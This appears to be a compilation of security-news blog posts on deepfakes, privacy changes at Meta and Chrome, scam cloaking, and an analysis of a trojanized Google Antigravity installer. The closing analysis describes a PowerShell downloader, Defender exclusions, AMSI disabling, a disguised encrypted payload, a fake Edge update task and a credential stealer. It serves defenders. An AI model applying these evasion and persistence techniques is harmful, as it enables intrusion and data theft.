If you’re worried about deepfake likenesses of yourself showing up online, you’re not alone; YouTube is worried for you. It wants to protect you by having you upload a selfie video and government ID to its site.
The idea is that the video giant will use its own AI to patrol the service for fake videos using your likeness. In exchange, you get the chance to have them taken down.
This isn’t available for everyone, though. It’s for celebs, those in vulnerable jobs, and now, most YouTube creators.
YouTube has been working on this concept, which it calls its “likeness detection” system, since it first floated the idea publicly in September 2024. That December, it launched a partnership with the Creative Artists Agency that saw it using the technology with sporting and entertainment figures.
In October last year, it expanded likeness detection to cover more creators, and then in March it expanded it again to cover politicians and journalists. And last month, it widened the net again, offering the service to Hollywood celebs. They can use it regardless of whether they have a YouTube account, it added.
Now, in its latest move, anyone 18 or older with a selfie and ID can sign up. At least in theory, as it hasn’t rolled out to everyone yet. It’s also for faces only; AI-generated voice clones are another problem entirely.
The privacy risk
Privacy advocates warned that YouTube’s likeness detection system could normalize handing biometric data to large tech platforms, even if YouTube says the data is only used to improve likeness detection models with creator permission.
On the help page for the likeness detection service, YouTube says creators can separately choose whether their face and voice templates are used to improve its likeness detection models.
“When you sign up for Likeness detection, you also have the option to allow YouTube to use your face and voice templates to develop and improve likeness detection models. This helps us build better, more accurate likeness detection technologies.”
Adding:
“You can opt out of YouTube’s use of this data for development and improvement of likeness models at any time.”
YouTube supports legislation intended to tackle deepfakes, such as the NO FAKES and TAKE IT DOWN acts. These are designed to help stop the misappropriation of someone’s image online. TAKE IT DOWN, which became law a year ago, focuses purely on “nonconsensual intimate imagery.” But that doesn’t cover other kinds of deepfakes, such as fake politicians or celebrity endorsements. Those are becoming increasingly common. NO FAKES, which hasn’t yet become law, is far broader in scope, assigning people federal rights over their own image.
So is it worth the trade?
Deepfakes, intimate and otherwise, are definitely a threat, especially for YouTubers who become popular. And the barrier to entry is lowering all the time. Google’s own DeepMind researchers found most generative AI misuse isn’t sophisticated; it’s mundane likeness manipulation by anyone with a browser.
So do you hand over your face and government ID for your protection, to a company whose broader data collection practices have faced years of scrutiny, and hope its policies don’t change? Or do you skip it and hope that the deepfake merchants don’t decide to target you?
Creators commenting on YouTube’s video revealing the service six months ago were less than impressed. One commenter said:
“I was 100% on board, up until the ID upload. That makes me very uncomfortable.”
Echoing several others who complained that it’s difficult to get takedown requests actioned, another added:
“If YouTube actually acted upon these kinds of reports, then I’d be more in favour of this.”
Whether you decide to sign up for the service or not, just be sure to do it with your eyes open.
Someone’s watching your accounts. Make sure it’s us.
In May of last year, a warning about AI came from somewhere unexpected: The Auschwitz-Birkenau State Museum.
Posting publicly on social media, the museum warned about a Facebook account using generative AI to create fake images of people who died in the Holocaust. Despite using AI to generate fake images, the people in said images were sometimes real. They had real names, birthplaces, and stories of deportation that the Auschwitz-Birkenau State Museum itself had shared before. They had real faces captured in real surviving photographs, which were likely abused to generate the false images.
In other words, someone, or some team of people online, was deepfaking the Holocaust.
“These are not real photos of the victims. They are digital inventions, often stylized or sanitized, that risk turning remembrance into fictionalized performance. The history of Auschwitz is a well-documented story. Altering its visual record with AI imagery introduces distortion, no matter the intent.”
Months later, the public found out what that intent was: money.
A BBC investigation found an international network of Facebook accounts posting AI-generated images to earn money from those images’ potential virality. It’s a problem sometimes referred to as “AI slop” but it comes with a major incentive. When accounts that make these kinds of images are invited to Facebook’s content monetization program, they can make $1,000 a month for posting anything that gets clicks.
And on Facebook, the BBC found, that means several accounts posting AI-generated images about the Holocaust. As the BBC reported:
“AI spammers have posted fake images purporting to be from inside [Auschwitz], such as a prisoner playing a violin or lovers meeting at the boundaries of fences—attracting tens of thousands of likes and shares.”
The economics of lying are concrete today. People can use AI to make fake images that make people feel good about terrible things or feel scared about untrue things, and they can make money until shut down by the Big Tech platforms themselves, which, in this case, only happened because of the BBC’s investigation. In fact, it’s that type of inaction from social media platforms that compelled the German government and multiple Holocaust memorial institutions to send an open letter earlier this year that asked for better controls and restrictions against this type of content.
As the signatories warned in their letter, the economic appeal for these accounts to distort history is too high a risk to allow. You can read the full letter here.
Today, on the Lock and Code podcast with host David Ruiz, we speak with Clara Mansfeld, a historian working on digital communications at one of the institutions signed onto the open letter—the Foundation of Hamburg Memorials and Learning Centers Commemorating the Victims of Nazi Crimes. In their conversation, Mansfeld discusses digital access to history, the manipulation of factual records through AI-generated imagery, and the threat that society faces when it becomes harder to evaluate the truth.
“What happens when the first thought we have with every historical image is, ‘Is that even real or is that AI?’ I don’t think we have really grasped what that means for us as a society.”
Recent news had us wondering whether Meta actually knows what it wants.
On one platform, Meta is promoting AI chats that it says even it cannot read. On another, it has removed one of the few features that genuinely prevented Meta from accessing private conversations.
At the moment, Meta is heavily promoting a new Incognito Chat mode for its Meta AI assistant in WhatsApp, built on top of a system it calls Private Processing. According to WhatsApp’s own announcement, Incognito Chat is:
“Truly private — no one can read your conversation, not even us.”
When you start an Incognito chat with Meta AI, you get a temporary conversation where messages aren’t saved and disappear by default, which Meta pitches as “a space to think and explore ideas without anyone watching.”
BBC News and others report that these AI chats are text‑only for now, run in a sandboxed environment, and are separate from your regular end‑to‑end encrypted (E2EE) messaging with other people on WhatsApp.
Meta is also preparing “Side Chat,” which will let you invoke Meta AI inside other WhatsApp chats, again using this Private Processing infrastructure to claim AI assistance without breaking the underlying encryption.
On paper, that’s an impressive technical and marketing story: powerful AI, wrapped in layers of privacy‑preserving infrastructure, added to an app that already has a strong reputation for end‑to‑end encryption by default.
Meanwhile, on Instagram…
Now contrast that with what’s happening on Instagram. On 8 May 2026, Meta removed optional end‑to‑end encryption for Instagram Direct Messages (DMs) entirely. Users who had previously turned the feature on were shown notices that “end‑to‑end encrypted messaging on Instagram is no longer supported as of 8 May 2026,” and were urged to download backups of their encrypted conversations before the cutoff.
End‑to‑end encryption ensures that only the sender and recipient can read their conversations. Instagram offered this as an opt‑in feature since late 2023, but it was buried several taps deep inside individual conversation settings and never turned on by default. Meta’s explanation for shutting it down is that “very few people” used encrypted DMs and that maintaining a separate encrypted system added complexity. Critics have pointed out the circular logic. The company hid the feature, did not advertise it, and is now using low adoption as the reason to kill it rather than, say, making it easier to find or turning it on by default.
What all this means
From a user’s perspective, the result is confusing: one Meta product introduces stronger privacy than ever for AI chats, while another removes the one feature that truly stopped Meta from reading your conversations.
The key point to remember here is that “incognito” and “private” are marketing words, while end‑to‑end encryption is a technical guarantee.
For security‑conscious users, this split personality means you can no longer treat all Meta chats the same. WhatsApp remains end‑to‑end encrypted for person‑to‑person messages and adds optional privacy features around its AI, while Instagram DMs should now be assumed readable by Meta and potentially accessible to law enforcement, advertisers, or attackers who gain access to Meta’s systems.
We also know there have been lawsuits against chatbot providers in cases where the outcome of an AI conversation led to very undesirable results. But how would you be able to provide evidence when messages auto-disappear?
How to proceed
Meta’s recent moves show that strong privacy features can be added where they support a strategic narrative and removed where they conflict with business or regulatory priorities. Users can’t control those decisions, but they can respond by choosing where they hold their most sensitive conversations and by assuming that if a chat isn’t end‑to‑end encrypted by default, it is ultimately readable by someone other than the people in it.
So, what’s a safe way to move forward?
Treat Instagram DMs as postcard-level privacy. Now that E2EE is gone, assume Meta can read and scan your messages and that content could be accessed under legal orders or in a breach. Do not send passwords, recovery codes, banking details, or compromising photos over Instagram.
When someone asks you to move a conversation to Signal, WhatsApp, or another E2EE messenger, ask them why. It does make sense when you’re sharing financial details, personal images, health information, or anything you would not want a platform provider to read. But sometimes scammers prefer encrypted platforms too, because they’re harder to monitor.
Do not confuse “incognito” AI chats with full encryption. WhatsApp’s Incognito mode for Meta AI may be a privacy improvement over standard cloud AI chats, but it is still a conversation with a large language model owned by the same company that runs the platform. Share only what you’re comfortable entrusting to Meta.
Regularly review your privacy and security settings. Check which devices are logged in, enable two‑factor authentication, and verify which of your chat apps are actually end‑to‑end encrypted by default.
Scammers know more about you than you think.
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Schools love a good photo, whether it’s from a trip to a castle, a science prize ceremony, or sports day shot from three angles. For two decades, celebratory images like these have gone straight onto school websites, captioned with a name and a grade. But those days are gone, because it’s the internet in 2026 and we can’t have nice things.
As first reported by the Guardian, experts are now urging schools to take those pictures down. According to the UK’s National Crime Agency, the Internet Watch Foundation, and an advisory body called the Early Warning Working Group (EWWG), blackmailers have been scraping ordinary school photos, feeding them through AI deepfake tools to manufacture child sexual abuse material (CSAM), and demanding payment to keep the images offline.
One school, 150 images
Late last year, cybercriminals contacted an unnamed UK secondary school with that demand. The IWF classified 150 of the resulting images as CSAM under UK law and generated digital fingerprints for each image so major platforms could block reuploads.
The IWF isn’t naming the school or the police force, and it doesn’t believe this was an isolated case. The EWWG says it’s “only a matter of time” before more schools face similar demands.
UK safeguarding minister Jess Phillips called it a “deeply worrying emerging threat.” In February 2025, the UK became the first country to ban AI tools designed specifically to generate CSAM.
How we got here
This threat didn’t appear overnight, and it isn’t limited to the UK. It’s an evolution of a long-time threat: sextortion, when someone uses intimate images to blackmail you. Traditionally, sextortion relied on real intimate images that were stolen or shared, but deepfake AI has changed everything.
The FBI’s Internet Crime Complaint Center (IC3) logged more than 16,000 sextortion complaints in the first half of 2021, with losses exceeding $8 million. By June 2023, the bureau warned the playbook had shifted: attackers were using ordinary social media photos to create fake explicit images and extort minors.
UK children’s counseling helpline Childline has seen similar shifts as deepfake tools become more accessible. It already logs many sextortion cases each year, many from kids who were manipulated into sharing intimate images of themselves. Now, the organization is getting calls from children who are being sent deepfake CSAM images of themselves without any prior contact.
One 15-year-old girl, for example, was sent a “really convincing” fake nude built from her Instagram photos.
By November 2025, IWF reports of AI-generated CSAM had more than doubled year over year, rising from 199 to 426. Girls accounted for 94% of the victims. Reported cases included children ranging from newborns to two-year-olds, according to the organization.
The ecosystem around these tools is industrial. In April 2025, a researcher found an exposed AWS S3 bucket belonging to South Korean “nudify” app GenNomis containing 93,485 AI-generated images alongside the prompts that produced them.
What the schools are being told
The EWWG’s advice is to replace close-up, identifiable photos with images taken from a distance, blurred images, or photos shot from behind. It also advises schools to remove full names from captions, audit existing images, and ask parents to re-sign consent forms.
In fact, it advises schools to rethink whether they need to publish children’s photos online at all.
Some schools have already acted. According to the Guardian, Loughborough Schools Foundation, a group of three private schools sharing a website, removed recognizable pupil images entirely last year.
The UK Information Commissioner’s Office (ICO) says that it “would still generally expect you to offer an opt-out to parents” when publishing an identifiable photo of a child, but says this isn’t legally the same as consent, which has a higher bar.
Things get murkier in the US, where states often have their own student privacy statutes. Broadly, though, under the Family Educational Rights and Privacy Act (FERPA), schools typically include identifiable photos of students under the category of directory information. This category also covers name, address, telephone listing, date and place of birth, participation in officially recognized activities and sports, and dates of attendance.
Under FERPA, schools can publish this type of information unless the child’s guardian specifically opts out. They have to notify a guardian when they want to publish it, but that process may not apply indefinitely after a student leaves the school.
That means student photos and information can remain online long after families assume they have disappeared.
What happens next
Back in the UK, Childline’s Report Remove service allows children to flag explicit images or videos of themselves that have been posted online. The service took 394 blackmail reports from under-18s last year, up by one-third compared to 2024.
Meanwhile, the UK government is amending the Crime and Policing Bill, forcing platforms to take flagged intimate images down within 48 hours or face fines of 10% of global revenue.
We anticipate a race between regulators and AI-enabled cybercriminals. Right now, attackers still have to manually find the photos themselves. The concern is that this process could soon become automated, allowing criminals to scrape names and photos from school websites and social media platforms at scale.
Researchers tracked a large AI‑themed investment scam campaign involving more than 15,000 domains. It uses cloaking and deepfakes to hide from security tools while targeting ordinary users.
Criminals abused the Keitaro ad-tracking platform as part of a cloaking system so real victims see scam content, while security scanners, ad reviewers, and some random visitors see harmless pages, making the operation hard to detect and shut down.
Keitaro is a commercial tracking platform originally meant for digital marketers to manage ad campaigns, test which ads work best, and route visitors to different landing pages.
Because it is feature rich, easy to spin up on regular hosting, and built to filter and route traffic, criminals found they can abuse those capabilities to run scams at scale.
Traffic starts in many places. The scammers used compromised websites, spam emails, social media posts, and online ads, all quietly routing through the same tracking infrastructure.
The scam sites typically promise “Smart AI Trading Technology” or “Intelligent Trading Solutions” and claim consistently high returns, often reinforced with deepfake images or fabricated media to look more credible.
Some parts of the campaign now use deepfake videos and fake interviews with well-known public figures, making it look like a celebrity, or finance expert personally endorses the platform.
Once you follow a link, the cloaking part of the operation kicks in. Cloaking is the trick that makes these scams so hard to see from the outside.
When you click an ad or link, your visit passes through a traffic distribution system (TDS), a kind of router for web visitors that decides which page you see. In these cases, the TDS is connected to the tracker.
The system checks things like:
Your country/region
Your device and browser
Where you came from (Facebook ad, Google ad, email link, etc.)
Sometimes your IP address reputation or other subtle fingerprints
You’re shown the real investment scam landing page only if you match the “ideal victim” profile (for example, a regular consumer in a target country coming from a social media ad).
Everyone else, like a security researcher, ad platform reviewer, or automated scanner, gets shown a benign page, like a generic blog or placeholder site.
How to stay safe
The best way to stay safe is to stay informed about the tricks scammers use. Learn to spot the red flags that almost always give away scams and phishing emails, and remember:
There is no such thing as a risk-free, consistently profitable investment. If you’re looking to invest, navigate directly to known, regulated financial institutions.
Deepfakes are very convincing nowadays, so you will hardly be able to tell the difference between the real celebrity and their deepfake persona.
Don’t act upon unsolicited investment advice, whether it reaches you by email, social media, or sponsored search results.
Google Chrome has been quietly downloading a 4GB AI model onto users’ devices without asking first.
Security researcher Alexander Hanff, aka ThatPrivacyGuy, reports that Chrome has been silently installing Gemini Nano, Google’s on-device AI model, as a file called weights.bin stored in the OptGuideOnDeviceModel directory within users’ Chrome profiles. This 4GB download happens automatically when Chrome determines your device meets the hardware requirements. It does not ask for consent, and sends no notification—not even one of those annoying cookie banners you’ve learned to dismiss without reading.
The Gemini Nano model powers features like “Help me write” text composition assistance, on-device scam detection, and a Summarizer API that websites can call directly. These features are enabled by default in some recent Chrome versions. And here’s the kicker: if you discover the file and delete it, Chrome simply downloads it again.
Why this matters
Let’s start with the obvious problem: a 4GB download isn’t trivial for everyone. If you’re lucky enough to have unlimited fiber internet, you might not notice. But for users on metered connections, mobile hotspots, or in developing countries where data is expensive, Google just cost them real money without permission. For rural users or those with bandwidth caps, this kind of silent transfer can blow through monthly limits in minutes.
Hanff focuses on the environmental angle. He calculated that if this model were pushed to just 1 billion Chrome users (roughly 30% of Chrome’s user base), the distribution alone would consume 240 gigawatt-hours of energy and generate 60,000 tons of CO2 equivalent. That’s not including actually using the model, just the downloads.
But to us, the most troubling aspect is the broader pattern this represents. Just a few weeks ago, we reported another unsolicited AI invasion on our personal computers discovered by Hanff. He documented how Anthropic’s Claude Desktop app, which silently installed browser integration files across multiple Chromium browsers, including five browsers he didn’t even have installed. The integration would reinstall itself if removed, and it also happened without any meaningful user disclosure.
Hanff argues that both cases likely violate EU privacy law, specifically the ePrivacy Directive’s rules about storing data on user devices and the GDPR’s requirements around transparency and lawful processing. While these claims haven’t been tested in court, they highlight a fundamental tension: can companies just install whatever they want on your computer as long as they say it’s a feature of an app you installed?
Google might argue that having an AI on your device provides better privacy than cloud-based alternatives. Which is generally true, but it does not apply here, since Chrome’s most prominent AI feature—the “AI Mode” pill in the address bar—doesn’t even use the local model. According to Hanff’s analysis, it routes queries to Google’s cloud servers anyway.
All in all, users see a 4GB local AI model and reasonably assume their data stays private, when in reality, the most visible AI feature sends everything to Google’s servers.
Tech companies need to stop treating silent deployment as acceptable practice. We see no valid excuse for this. Your device is yours. The storage is yours. The bandwidth is yours. And the electricity bill is yours.
What happened to asking for permission? And when I remove it, I want it gone permanently—not automatic reinstallation.
When are the tech giants going to learn that we don’t want to be left discovering after the fact that our devices have become deployment targets for features we never asked for.
Update May 12, 2026 with do it yourself instructions
How to check if the AI model is on your computer (Windows)
Open File Explorer
At the top of the File Explorer window, click the address bar and paste:
%LOCALAPPDATA%\Google\Chrome\User Data
Press Enter
Look for a folder named:
OptGuideOnDeviceModel
If you see it, Chrome has likely downloaded the AI model
Properties of the folder
How to check on a Mac
Open Finder
In the menu bar at the top of the screen, click Go > Go to Folder
Paste:
~/Library/Application Support/Google/Chrome/
Look for a folder named:
OptGuideOnDeviceModel
Now, remember, this isn’t malware, and its presence doesn’t mean your computer is infected.
Turn off Chrome AI features
This part is relatively easy. You may find online instructions telling you to edit the Windows registry or use Chrome policies, but for most people the simplest and safest approach is to disable the features directly in Chrome.
We don’t recommend manually editing the registry unless you fully understand what you’re doing. Incorrect changes can cause system problems.
Instead, try this first:
Open Chrome
You can copy and paste this directly into Chrome’s address bar and press Enter:
chrome://settings/ai
On the page that opens, you can turn off features such as:
“Help me write”
AI summaries
On-device AI features
The exact options may vary depending on your Chrome version and region.
Then restart Chrome to make sure the changes take effect.
This may stop Chrome from downloading or using the AI model, although some users report the files can return after browser updates.
There is probably no need to delete the files unless you specifically need the storage space.
If chrome://settings/ai does not work, the feature may not yet be available in your region, you may be using a managed work or school account, or your version of Chrome may not support these settings yet.
Do you need to delete the OptGuideOnDeviceModel folder?
You can, but there is probably no need to.
If you disable Chrome’s AI features, the downloaded model should no longer be actively used for those features. Leaving the files in place may also prevent Chrome from downloading them again at a later point.
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Your prices could be going up because of a little something that one group has started calling the “cyber tax.”
Not a “tax” in any regulatory sense of the word, this newly named “cyber tax” is instead a consequence of the growing number of cyberattacks on small businesses. According to the latest research from the Identity Theft Resource Center, 81% of small- and medium-sized businesses suffered a data breach, a security breach, or both, within the past year. And of those businesses, more than 50% of lost more than $250,000.
According to the most recent data from the US Federal Reserve, the median American family has just $8,000 in savings, meaning that a hit of $250,000 could bankrupt a family and turn their lives upside down. But there’s an interesting layer within this data—the median American family is quite similar to the median American business. In fact, they’re often the exact same person.
The local grocer, the nearby HVAC repair service, the avid cyclist who just opened a bike shop, and the tax professional, and physical therapist helping out neighbors are everyday individuals and family members. They do not have multimillion dollar corporations at their backs, supporting them with legal teams, insurance policies, and dedicated IT support teams.
A loss of $250,000, then, is a potential loss of their business. And to stay afloat, the Identity Theft Resource Center found, for the first time ever, that 38% decided to raise their prices.
“It was near 40% said ‘We actually had to raise prices—we had to pass this cost onto our customers,’” said Eva Velasquez, CEO of the Identity Theft Resource Center. “We’re now really seeing the long-term downstream effects of cyberattacks.”
As frustrating as the cyber tax can be, small businesses themselves are also facing a new wave of cyberattacks, from AI-powered phishing emails so convincing that small business owners can’t tell the legitimate from the illegitimate, to deepfake calls that impersonate the CEO of a three-person company, to supply-chain attacks that target small companies as a way to reach bigger ones.
Today, on the Lock and Code podcast with host David Ruiz, we speak with Velasquez about cybercrime’s impact on small businesses, the new threats being deployed because of AI, and what is necessary to protect business owners and their consumers.
“Great businesses with great protocols in place can still have a vulnerability exploited because this is what the cyber bad guys are doing all day long. They only have to be right once, whereas small business owners have to be right 100% of the time.”
The internet’s chatbots have read every forum rant, leaked Slack log, and confident blog post your uncle ever wrote about chemtrails. The results are predictable: they reflect the state of the internet, and it isn’t pretty. That, along with some questionable design decisions, is partly why Elon Musk’s Grok chatbot briefly generated antisemitic content and referred to “MechaHitler” during testing.
Wouldn’t it be nice if we had a chatbot that only draws on knowledge from before the internet, reality TV, or AI-slop content ever existed? Three researchers have created just that: a chatbot that hasn’t read anything published after 1930.
Talkie is a 13-billion-parameter language model trained on digital scans of English-language texts published before the end of 1930. That cutoff aligns with the current US public domain year, meaning anything published until the end of that year is fair game and there are no lawsuits from irate IP-holders to worry about.
David Duvenaud, an associate professor of computer science and statistics at the University of Toronto, led the work with two collaborators. You can download it from GitHub or Hugging Face, or chat with it through a web interface, if you don’t mind a model whose mental map of the world ends with the Great Depression.
The model knows only what appears in books, newspapers, legal texts, and other publications before its cutoff date. So it’s great for questions about Prohibition or World War One. NASA’s first moon landing? Not so much.
Why bother?
The obvious question: why train an AI that doesn’t know what the Nazis did, what the internet is, or what an LLM even is?
These aren’t so much exercises to look at the “good old days” through rose-colored glasses so much as intellectual experiments. Nostalgia misrepresents the past, and the world was just as problematic back then, if not more so.
Duvenaud told The Register that such a model could be useful for examining how people might have interpreted laws or events at the time, using only the knowledge available then.
Another fun experiment: Use it to see whether a model can “rediscover” later breakthroughs using only earlier knowledge, as a way of probing the limits of AI reasoning.
Where it breaks
There are definite weaknesses in Talkie, which its inventors are well aware of.
For example, there was no digital publishing in 1930, so every word of Talkie’s corpus had to be transcribed from a scan. OCR is famously imperfect anyway, but more so on the blurry text printed back in the day.
It also leaks future information that can sometimes creep in from mislabeled future documents, despite the researchers’ best efforts. We asked it about television, which was just starting out in the late 1920s, and this is what happened:
But still, what an absorbing project. It isn’t alone, either. In their paper, the researchers mention other projects such as Ranke-4b from the University of Zurich, a series of LLMs with historical snapshots of data. “Trip” also created Mr Chatterbox, which he trained on a dataset of British literature from 1500–1900 to become, in his words, “a Victorian gentleman in silicon.” Magic.
These are both a fun experiment and a useful insight into the workings of AI. As the Talkie researchers put it:
“Have you ever daydreamed about talking to someone from the past? What would you ask someone with no knowledge of the modern world? What would they ask you?”
And they provide some fun-making opportunities. The nerd in us still wants to hook one of these things up to an Edwardian typewriter keyboard and a ticker tape, steampunk-style.
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Claims like that are bound to create two sides, so we searched for an official rebuttal by Anthropic. But we couldn’t find one. It would surprise me very much if they’d be unaware of the claim, since there’s been some noise about it.
Users on Mastodon, Reddit, and LinkedIn are confirming the researcher’s findings and discussing the subject, so it’s hard to imagine Anthropic missed it.
Let’s look at the claims first.
While looking into another matter, the researcher discovered a Native Messaging host manifest on his Mac that he did not knowingly install. On Chrome and other Chromium-based browsers, extensions can exchange messages with native applications if they register a native messaging host that can communicate with the extension.
By testing on a clean machine, Hanff discovered that Installing Claude Desktop for macOS drops a Native Messaging host manifest into multiple Chromium profiles (Chrome, Edge, Brave, Arc, Vivaldi, Opera, Chromium), even including for browsers that are not actually installed yet.
The Native Messaging host manifest tells a Chromium‑based browser which local executable to invoke when an extension calls a native host, and those hosts run outside the browser sandbox with current users permissions. Hanff therefore describes this as a “backdoor.” The manifest pre‑authorizes three Chrome extension IDs, so any extension with those IDs can call the helper via connectNative, giving it access to browser automation features.
Another objection is that Claude makes simple deletion futile since the manifest will be recreated the next time the user launches Claude Desktop.
It’s important here to point out that his article is about Claude Desktop, the Electron-based macOS application with bundle identifier com.anthropic.claudefordesktop, distributed as Claude.app. It is not about Claude Code, Anthropic’s command line developer tool. Claude Code is autonomous (“agentic”), allowing you to hand over a task, and it handles the planning and execution until done. So, for Claude Code, it would absolutely make sense to enable communication with browsers, provided they are present on the target system.
So, we have an application that writes into other apps’ profile/support directories (the browsers’ configuration area) and can act as the user, with capabilities like using the logged‑in browser session, DOM inspection, data extraction, form filling, and session recording. This expands the attack surface of every machine this manifest is dropped on, without asking for consent.
Anthropic’s own launch blog on “Claude for Chrome,” which discusses Anthropic’s internal red‑team experiments, explicitly mentions prompt injection as a key risk and reports attack success rates of 23.6% (no mitigations) and 11.2% (with mitigations). Hanff cites this to argue that a pre‑positioned bridge is a non‑trivial risk.
How bad is it?
Native Messaging is a standard Chromium mechanism. Nothing here is an unknown or exotic technique per se. Chrome’s own documentation explains that Native Messaging hosts run at user privilege and are invoked by browser extensions through a manifest file. And as the researcher pointed out, the bridge does nothing. But it could potentially be abused.
I don’t think it’s fair to say that Claude Desktop installs spyware, but it does open a system up by expanding the attack surface.
Anthropic already had a separate, documented Native Messaging manifest for Claude Code that users sometimes manually copied into other Chromium browsers; the new behavior is that Claude Desktop now drops a Claude‑Desktop‑related manifest into multiple browser paths automatically.
It requires a combination of extension and host. Only combined with a matching browser extension, this bridge enables the user-like capabilities we listed earlier.
What we don’t know yet
Anthropic hasn’t published a detailed technical privacy spec for the Claude Desktop–browser bridge, so we don’t know exactly what data flows when the Chrome integration is used, beyond the general capabilities described in their documentation (session access, DOM reading, etc.).
The detailed analysis and most replication so far are on macOS. We’re in the dark about behavior on Windows and Linux, and the same is true across different browser install paths. That behavior has also not been comprehensively documented in public write‑ups.
I did reach out to Anthropic asking for a response. If and when we get an official response from Anthropic, I’ll add it here, so stay tuned.
Conclusion
Anthropic likely wanted “Claude in Chrome”‑style capabilities across Chromium‑based browsers, but that doesn’t excuse doing it silently and preinstalling the manifest into profile directories for multiple browsers, including ones that are not yet installed.
There are better ways to implement changes like these, and users should at least be made aware of them so they can weigh the advantages against the potential risks.
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Somebody went looking for Google’s new Antigravity coding tool this week, clicked download, ran the installer, and got exactly what they thought they were getting. Antigravity installed cleanly. A shortcut appeared on the desktop. The application opened and worked. Nothing looked or felt wrong.
But behind the scenes, that installer can give your accounts, your data, and even your machine to an attacker, without breaking anything the user can see.
In this article, we’ll break down the technical details of the campaign, how it works under the hood, and what to do if you think you’ve installed it.
The download that actually gave you what you wanted
Google Antigravity launched in November 2025 and has been one of the most searched-for developer tools on the web ever since. The real product lives at antigravity.google. Hardly anyone new to the product has the real URL memorized, so when a user reached a hyphenated lookalike (what we call a typosquat domain) at google-antigravity[.]com it was convincing enough at a glance.
So they went on to download the file, called Antigravity_v1.22.2.0.exe.
The installer isn’t simply named to look like the real one from Google. It’s 138 MB: large enough to carry the entire Antigravity application, its Electron runtime, its Vulkan graphics libraries, its updater, all of it. Because that is what is actually inside.
The attacker didn’t build a convincing fake; they took the genuine Antigravity installer, added one additional step to run their PowerShell script during setup, and repackaged the result. The malicious step is one extra line in a sequence that runs dozens of legitimate ones. Here’s what the Setup looked like:
How do we know it’s one line? Because you can see it.
The MSI’s custom-action table (the list of every step the installer takes during install) contains 11 rows that are standard, boilerplate entries the installer tool generates automatically: extract files, check the Windows version, elevate to admin, write a log, clean up afterwards. Each of those has a name that starts with AI_ followed by a description of what it does. And then, sitting at the bottom of the same list, there is one more row, named wefasgsdfg — a keyboard mash the attacker typed in when the installer tool prompted them for a name, and the one that runs their PowerShell script.
Antigravity installs properly into C:\Program Files (x86)\Google LLC\Antigravity\. A Start Menu entry appears, a desktop shortcut is placed, and everything works. The user opens the app, tries it, closes it, and goes on with their day. It all seems fine, because they actually installed the thing they wanted to install. The malicious part is happening quietly, in a folder they’ll never open.
Two small scripts, and a phone call
Somewhere in the middle of the install, the MSI runs a small helper script that drops two PowerShell files into the user’s temporary folder: scr5020.ps1 and pss5032.ps1. The filenames look like specifics but aren’t: the four characters after each prefix are generated fresh every time the installer runs.
What stays constant is the prefix: scr for the user script, pss for the PowerShell wrapper, because those come from the installer tool’s standard naming pattern for custom-action scripts.
Of the two files, the second is an unaltered Advanced Installer utility. It’s genuinely innocent and present in many real products. The first was added by the attacker, and it has one job: open an HTTPS connection to https://opus-dsn[.]com/login/, download whatever code the server sends back, and run it. To blend in, it spoofs a Microsoft referrer header and routes through the system’s default web proxy, so it inherits whatever corporate proxy configuration and authentication IT has set up, without the user noticing. It also saves and restores the parent PowerShell’s TLS setting, leaving that one global unchanged after it exits. That’s the entire script.
Researchers call this pattern a downloader cradle, and its advantage to the attacker is flexibility. The real payload lives on their server, not inside the installer out in the wild, so they can swap it out, change targeting, or turn the operation off without touching the file users are downloading.
In this case, the cradle did exactly what it was built to do and no more: a DNS query for opus-dsn[.]com, a single TCP connection on port 443 to 89[.]124[.]96[.]27 with a quiet HTTPS GET to /login/, and then the PowerShell process exited.
Nothing else happened. No second-stage script was fetched. No file was dropped. No scheduled task was created. No changes were made to Windows Defender. Most automated security tools would shrug and move on.
But the malware hadn’t failed. It had introduced itself to the attacker’s server and asked for code to run next—and whether the answer comes back is a decision the operator gets to make later, on their own time, one victim at a time. You cannot tell, from the victim’s side, what was returned. For analysis, we retrieved what the server sends when the answer is yes.
What arrives when the answer is yes
When the server decides a target is worth attacking, the follow-on script does its work in three movements.
First, it makes Defender look the other way. It calls Add-MpPreference (with the cmdlet name split by a backtick, a small obfuscation to dodge naïve string-matching detections) to exclude %ProgramData% and %APPDATA% from scanning, exclude .exe, .msi, and .dll files from scanning, and exclude PowerShell, regasm.exe, rundll32.exe,msedge.exe, and chrome.exe from scanning. Only after that does it phone home—collecting a profile of the machine (Windows version, Active Directory domain, installed antivirus product), RSA-encrypting it with a public key embedded in the script, and sending it to opus-dsn[.]com inside a utm_content query parameter that looks, in any access log, like ordinary marketing tracking. This is the profile the operator uses to decide whether this particular machine is worth the next stage.
Second, it widens the gap. A second Add-MpPreference block extends the exclusion list to include the .png file extension and the conhost.exe process—the exact two additions the next stage will need. It then writes AmsiEnable=0 into HKLM\Software\Policies\Microsoft\Windows Script\Settings, disabling Windows’ Antimalware Scan Interface—the layer that normally lets Defender read scripts before they execute. After this point, the malicious activity is being conducted in folders, with file types, and through processes that Defender has been instructed to ignore.
Third, it stages persistence. It downloads a file called secret.png from https://captr.b-cdn[.]net/secret.png (a BunnyCDN URL that looks at a glance like any other content-delivery link) and saves it to C:\ProgramData\MicrosoftEdgeUpdate.png, a path chosen to sit beside Microsoft’s real browser-update folders. The file is not an image. It is an AES-256-CBC ciphertext (key and IV both derived via PBKDF2 with 10,000 iterations from a hardcoded passphrase) wrapping a .NET assembly. A scheduled task is then registered with the name MicrosoftEdgeUpdateTaskMachineCore{JBNEN-NQVNZJ-KJAN323-111}, which is all but indistinguishable at a glance from the real Microsoft Edge update task and set to fire at every logon, running unprivileged so it never produces a UAC prompt. The action it executes is conhost.exe --headless launching a hidden PowerShell, which decrypts the fake PNG in memory and reflectively loads the resulting .NET assembly into its own address space. Nothing lands on disk as an ordinary executable. All that persists is the encrypted image, in a folder Defender has been asked to ignore.
And then a second payload, that doesn’t persist at all. The script doesn’t stop there. After registering and starting the scheduled task, it sends a second beacon to confirm install, then runs an entirely separate block that downloads a second encrypted file (GGn.xml) from the same BunnyCDN host, decrypts it with a different, hardcoded AES key, and reflectively loads that assembly into the running PowerShell process too. The first payload survives reboots; this one runs once, in memory, and is gone. Two .NET assemblies, one campaign, on the victim.
What the payload is built to do
The decrypted assembly is a .NET stealer. We can characterize it from its own class and method names, which describe its job in plain English: it scans browsers, messaging apps, gaming platforms, FTP clients, and crypto wallets, collecting data labeled Logins, Cookies, Autofills, and FtpConnections.
